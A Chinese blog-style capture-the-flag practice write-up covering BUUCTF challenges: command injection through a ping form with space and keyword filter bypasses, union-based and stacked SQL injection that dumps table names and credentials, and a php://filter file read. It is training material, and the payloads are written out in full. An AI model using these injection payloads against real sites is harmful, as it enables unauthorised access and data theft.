3.18练习

BUUCTF练习day2

[GXYCTF2019]Ping Ping Ping

ping题有点熟悉的命令注入,使用

复制代码
127.0.0.1;ls

可以得到当前目录的文件名

cat一下flag.php,发现不行

过滤了空格,那我们有什么方法绕过呢

  • <(重定向符号)
  • ${IFS}
  • IFS9
  • %09(tab键)

试一试发现过滤了<和${IFS}和%09,页面都回显出这个

试了一下$IFS$9可以,回显出这个页面

说明过滤了flag字符,那这里又可以学习关键词绕过知识点

  • catIFS9fl\ag.php

  • b=ag;a=fl;catIFS9ab.php

  • echoIFS9Y2F0JElGUyQ5ZmxhZy5waHA=|base64IFS9-d|sh

  • catIFS9fla*

    完整payload

    ?ip=127.0.0.1;a=fl;b=ag;catIFS9ab.php

[SUCTF 2019]EasySQL

输入1

输入1'没有任何回显

输入1"

这里确实与我之前做的SQL不同,普通的联合查询不行,学习一下别人的wpwp

可以学习到堆叠注入和一种情况数字回显字母不回显,说明有一个 或 结构

[极客大挑战 2019]LoveSQL

这是之前的遇到一个题目变形3.17练习

判断闭合方式

试一试1和1'和1"发现输入1'时回显不正常的页面(提示有语法错误)

那么闭合方式是单引号闭合

判断列数

使用(密码随便填的,用户名中的%23是#,起注释作用)

复制代码
1' order by 1,2,3,4%23

回显出的页面表示没有第4列

试一试三列,回显正常(没有报语法错误)

那么确定一共三列

查询回显位(从数据库将数据回显到页面的位置)

复制代码
-1' union select 1,2,3%23

图中的2和3的位置就是回显位,说明这个题有两个回显位

查询数据库名,用户

复制代码
-1' union select 1,user(),database()%23

说明当前数据库是geek用户是root

查询表名

复制代码
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23

可以知道当前数据库的表有两个geekuser和l0ve1ysq1(这是一个题目,我们要的是用户信息,因为一般有flag)

查询geekuser表的字段名

复制代码
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='geekuser'%23

那么可以知道geek这个数据库的geekuser这张表下有三个字段id,username,password,

那我们将它们查询出来

查询字段内容

复制代码
1' union select 1,group_concat(id,0x2A,username,0x3A,password),3 from geekuser%23

那现在已经知道了账号和密码,那就拿去登录

发现不对,那就看看另一个表

思路一样

查询字段名

复制代码
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23

查询字段名(0x3A表示将这些字段内容以冒号分隔开)

复制代码
1' union select 1,group_concat(id,0x3A,username,0x3A,password),3 from l0ve1ysq1%23

得到flag

复制代码
flag{2cf1ec82-e163-471a-a6ce-d00a01219738}

[强网杯 2019]随便注(字符型)

又是一道SQL注入

判断注入点

试一试1'

出现语法错误,闭合方式是单引号

判断列数

复制代码
1' order by 4%23

没有第四列(通过相同的方式判断出只有两列)

复制代码
1' order by 2%23

寻找回显位

在寻找回显位时,发现select被过滤了

select被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了,我们只剩下堆叠注入

查询表名

复制代码
1'; show tables;#

有两个表1919810931114514和words

查询两个表的字段

当数据表为数字时需要用反引号括起来

复制代码
1'; show columns from words;#
1'; show columns from `1919810931114514`;#

使用handler代替select

参考wp

复制代码
1'; handler `1919810931114514`open as a; handler a read next;#

[极客大挑战 2019]Secret File

打开环境,没有什么发现,查看源代码,发现一个链接

点击后发现一个

再点击,题目题目告述我们结束了,但是什么都没有发现,那就抓包看看

从点击select开始

发现一个注释后的页面

打开,发现代码,要进行代码审计

文件包含漏洞,常见思路使用伪协议

复制代码
php://filter/convert.base64-encode/resource=flag.php

解码可以得到flag

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php